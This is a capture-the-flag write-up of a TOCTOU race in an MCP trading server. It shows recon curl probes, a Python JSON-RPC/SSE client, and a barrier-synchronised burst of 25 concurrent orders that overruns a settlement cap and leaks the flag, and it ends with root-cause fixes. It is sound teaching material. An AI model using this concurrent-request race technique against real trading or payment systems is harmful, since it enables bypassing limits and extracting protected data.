TradeBot: Settlement Engine TOCTOU / Race-Condition

Flag: KPMG_CTF{PJ97hqv34RapxYYJyrxFy-0IxQ1jOL_UHituHxn0dJR8}

Target: http://kicyber-627920783ee2-tradebot-0-0.chals.io Category: API (MCP server) / race condition (TOCTOU) Hint (from KPMG CTF): “TradeBot is your automated stock trading assistant… There is a special instrument that isn’t sold on the public order book. Only the settlement engine, the part that processes your trades, can read it. Hint: the engine decides whether it can settle your order before it finishes routing it and it never checks again.”

Overview

TradeBot is not a normal web app: the health endpoint reveals a Model Context Protocol (MCP) server at /mcp. It exposes trading tools (get_stock_price, place_order, get_risk_report, …). There is a hidden restricted instrument FLAG (“TradeBot Reserve Note”) that lives in a reserve vault; it cannot be traded through the public order book and is “readable only by the settlement engine while a fill holds exclusive vault access.”

The settlement risk engine permits a limited number of orders to be settling at once (max_concurrent_settlements: 19) and guarantees a fill has exclusive access to the vault. As the hint says, the engine checks admission (“can I settle this?”) once, before routing finishes, and never re-checks, and the in-flight counter is only incremented later, during the fill phase. That is a classic time-of-check / time-of-use (TOCTOU) gap: fire more than 19 orders simultaneously and they all pass the capacity check (counter still 0) before any of them increments it. Their fill phases then overlap, breaking the “exclusive vault access” invariant. When exclusivity is violated the engine “reconciles” by dumping the sealed vault record (the flag) straight into the order response.

Recon

1. Find the entry point

The root 404s; the health endpoint leaks the real surface.

base="http://kicyber-627920783ee2-tradebot-0-0.chals.io"
for p in / /api /docs /openapi.json /health /robots.txt; do
  echo "$(curl -s -o /dev/null -w '%{http_code}' "$base$p")  $p"
done

Output:

404  /
404  /api
404  /docs
404  /openapi.json
200  /health
404  /robots.txt
curl -s "$base/health"

Output:

{"status":"healthy","service":"tradebot","version":"2.0.0","mcp_endpoint":"/mcp"}

2. Speak MCP (JSON-RPC over HTTP, SSE responses)

GET /mcp complains about a missing session ID; POST initialize returns one in the mcp-session-id header and an SSE event: message body.

curl -s -i -X POST "$base/mcp" \
  -H "Content-Type: application/json" \
  -H "Accept: application/json, text/event-stream" \
  -d '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"curl","version":"1.0"}}}'

Output (trimmed):

HTTP/1.1 200 OK
content-type: text/event-stream
mcp-session-id: dec28206e10849aa812741234b76b450

event: message
data: {"jsonrpc":"2.0","id":1,"result":{"protocolVersion":"2024-11-05",...,"serverInfo":{"name":"TradeBot","version":"4.0.3"}}}

Because every call needs the session ID (and a prior notifications/initialized), I wrote a small Python MCP client to handle the session + SSE parsing. mcp.py:

import requests, json

BASE = "http://kicyber-627920783ee2-tradebot-0-0.chals.io/mcp"
HEADERS = {"Content-Type": "application/json",
           "Accept": "application/json, text/event-stream"}

def parse_sse(text):
    out = []
    for line in text.splitlines():
        if line.startswith("data: "):
            try: out.append(json.loads(line[6:]))
            except Exception: pass
    return out

class MCP:
    def __init__(self):
        self.s = requests.Session(); self.sid = None; self.id = 0
        self._init()
    def _post(self, payload):
        h = dict(HEADERS)
        if self.sid: h["mcp-session-id"] = self.sid
        r = self.s.post(BASE, headers=h, data=json.dumps(payload), timeout=30)
        if not self.sid and "mcp-session-id" in r.headers:
            self.sid = r.headers["mcp-session-id"]
        return r
    def _init(self):
        r = self._post({"jsonrpc":"2.0","id":0,"method":"initialize",
            "params":{"protocolVersion":"2024-11-05","capabilities":{},
                      "clientInfo":{"name":"py","version":"1"}}})
        self.sid = r.headers.get("mcp-session-id", self.sid)
        self._post({"jsonrpc":"2.0","method":"notifications/initialized"})
    def call(self, method, params=None):
        self.id += 1
        r = self._post({"jsonrpc":"2.0","id":self.id,"method":method,"params":params or {}})
        return parse_sse(r.text)
    def tool(self, name, args=None):
        return self.call("tools/call", {"name":name,"arguments":args or {}})

3. Enumerate tools

# via the client: m = MCP(); m.call("tools/list")

Tools returned: get_stock_price, get_stock_info, list_available_stocks, get_portfolio, get_risk_report, get_order_status, place_order, health_check.

place_order’s own description was the first big clue:

“The order is routed to the exchange and settles a moment later. Admission is governed by the settlement risk engine, which permits a limited number of orders per account to be settling at any one time. Orders that arrive while the engine is at capacity are rejected.”

4. Baseline state

m = MCP()
m.tool("get_portfolio")
m.tool("get_risk_report")

Output (the structuredContent):

{"balance":25000.0,"positions":{},"total_value":25000.0,"total_positions":0}
{"max_concurrent_settlements":19,"settlements_inflight":0,"inflight_order_ids":[],
 "routing_latency_seconds":1.0,"fill_latency_seconds":0.8,"integrity_violations":0}

Key numbers: cap = 19 concurrent settlements, routing 1.0s, fill 0.8s, and an integrity_violations counter sitting at 0, clearly the thing we want to move.

Finding the hidden instrument

A normal order works and shows the response shape:

m.tool("place_order", {"symbol":"AAPL","quantity":1,"order_type":"buy"})
{"order":{"order_id":"ORD-000001","symbol":"AAPL","type":"buy","quantity":1,
 "price":178.34,"total":178.34,"status":"filled",...},"status":"success"}

Probing symbol names for the “special instrument”:

for sym in ["FLAG","SECRET","KPMG","PHANTOM","DARKPOOL","HIDDEN","GHOST","OMEGA"]:
    print(sym, m.tool("get_stock_price", {"symbol":sym}))

Output (only FLAG is special):

FLAG   -> Symbol 'FLAG' is classified RESTRICTED and has no public quote.
          Reserve vault instruments are priced by the settlement engine only.
others -> Stock symbol '<x>' not found
m.tool("get_stock_info", {"symbol":"FLAG"})
{"symbol":"FLAG","name":"TradeBot Reserve Note","sector":"Restricted",
 "classification":"RESTRICTED",
 "note":"Reserve vault instrument. Not tradable through the public order book;
         readable only by the settlement engine while a fill holds exclusive vault access."}

Trying to buy it directly is hard-blocked at admission:

m.tool("place_order", {"symbol":"FLAG","quantity":1,"order_type":"buy"})
Symbol 'FLAG' is classified RESTRICTED. Reserve vault instruments cannot be traded
through the public order book. Vault access is granted only to the settlement engine.

Dead ends (recorded for completeness)

  • Timing a FLAG order into another order’s fill window (delays 0.9–1.3s): FLAG is rejected synchronously at admission every time; the restriction check runs before any routing, so there is no window to slip into.
  • Symbol-normalization bypass (flag, Flag, fLaG, ` FLAG, FLAG , zero-width/RTL chars): the restriction check and the lookup normalize identically: flag/Flag/fLaG all resolve to FLAG` and are blocked; padded/Unicode variants are “not found”. No gap there.

Understanding the lifecycle (where the race lives)

I placed one order and polled get_risk_report from a second session to see when the in-flight counter moves:

# thread A: place MSFT buy; thread B: poll get_risk_report every 0.1s

Output (relative times):

[0.37] inflight=0 ids=[]            viol=0
[0.88] inflight=0 ids=[]            viol=0
[1.39] inflight=0 ids=[]            viol=0
[1.90] inflight=1 ids=['ORD-000007'] viol=0   <-- counter only moves during the fill phase
[2.15] PLACED -> ...status":"filled"...
[2.35] inflight=0 ids=[]            viol=0

So an order is “in flight” only during its short fill/settlement phase near the end. The capacity check (can I settle?) happens up front, before routing, and the counter is incremented late, which is exactly the TOCTOU the hint describes. Fire ≥20 orders at once and they all read inflight = 0 < 19 at admission, then their fill phases pile up past the cap simultaneously, violating the vault’s “exclusive access” guarantee.

Exploit: concurrent order burst (SOLVED)

Launch 25 place_order calls at the same instant, each on its own MCP session, released together with a threading.Barrier so their fill phases overlap. burst.py:

from mcp import MCP
import json, threading

N = 25
clients = [MCP() for _ in range(N)]        # independent sessions => true concurrency
results = [None]*N
barrier = threading.Barrier(N)

def worker(i):
    barrier.wait()                         # release all threads simultaneously
    msgs = clients[i].tool("place_order", {"symbol":"AAPL","quantity":1,"order_type":"buy"})
    results[i] = msgs[0]["result"]["content"][0]["text"]

ths = [threading.Thread(target=worker, args=(i,)) for i in range(N)]
for t in ths: t.start()
for t in ths: t.join()

for i, r in enumerate(results):
    if r and "VAULT" in r.upper():
        print(i, r)

Run:

PYTHONPATH=. python3 burst.py

Output: 3 of the 25 orders came back with the vault record (truncated to one):

{"order":{"order_id":"ORD-000013","symbol":"AAPL","type":"buy","quantity":1,
  "price":178.34,"total":178.34,"status":"filled",...},"status":"success",
 "risk_engine":{"integrity":"COMPROMISED","incident":"SETTLEMENT_OVERSUBSCRIPTION"},
 "vault_reconciliation":{
    "vault":"TRADEBOT-RESERVE","instrument":"TRADEBOT-RESERVE-NOTE",
    "integrity":"COMPROMISED",
    "reason":"Settlement exclusivity violated: the reserve vault was read while more than one
              settlement held a slot. Reconciling by returning the sealed vault record.",
    "vault_seal":"KPMG_CTF{PJ97hqv34RapxYYJyrxFy-0IxQ1jOL_UHituHxn0dJR8}"}}

Confirming the violation stuck:

MCP().tool("get_risk_report")
{"max_concurrent_settlements":19,"settlements_inflight":0,"inflight_order_ids":[],
 "routing_latency_seconds":1.0,"fill_latency_seconds":0.8,"integrity_violations":3}

Flag: KPMG_CTF{PJ97hqv34RapxYYJyrxFy-0IxQ1jOL_UHituHxn0dJR8}

Why it works

  • Admission (“can this order settle?”) is a check-then-act against settlements_inflight, but the counter is only incremented much later, when the order enters its fill phase. Between the check and the increment there is a ~1s+ routing window.
  • With all orders released simultaneously, every one of them observes inflight = 0 at the check, so the 19-slot cap is never enforced. Their fill phases then run concurrently and exceed the cap.
  • The reserve vault assumes a fill has exclusive access. Once more than one settlement holds a slot at the same moment, that invariant is false; the engine detects SETTLEMENT_OVERSUBSCRIPTION, flags integrity as COMPROMISED, and “reconciles” by returning the sealed vault record (the flag) in the order response, handing us the one instrument only the settlement engine was ever supposed to read.

Root cause & fix

Textbook TOCTOU race condition on a concurrency/capacity gate:

  • Check-then-act without atomicity: read inflight, decide, then (later) increment. Fix: make admission atomic: increment-and-test under a lock/semaphore before routing, so the slot is reserved at check time, not at fill time.
  • Invariant enforced by assumption, not by a lock: “exclusive vault access” relied on the cap being respected rather than on an actual mutex around the vault. Fix: guard the reserve vault with a real exclusive lock; a second concurrent reader should block or fail closed, never read.
  • Fail-open leakage: on integrity violation the engine returned the secret instead of aborting. Fix: on any integrity/oversubscription incident, reject the order and never emit vault contents.

Takeaways

  • GET /health paid for itself: it named the real endpoint (/mcp) when every path 404’d.
  • An MCP server is just JSON-RPC over HTTP; a tiny client that keeps the mcp-session-id and parses SSE lets you script it like any API.
  • When a challenge mentions a capacity limit and “decides once, never re-checks,” think TOCTOU: hit the check-to-use window with simultaneous requests (a threading.Barrier across independent sessions makes them land together).
  • Over-provision the burst (25 vs. the cap of 19) so overlap is guaranteed even with network jitter, then grep every response for the secret, since only the orders that actually collided carry it.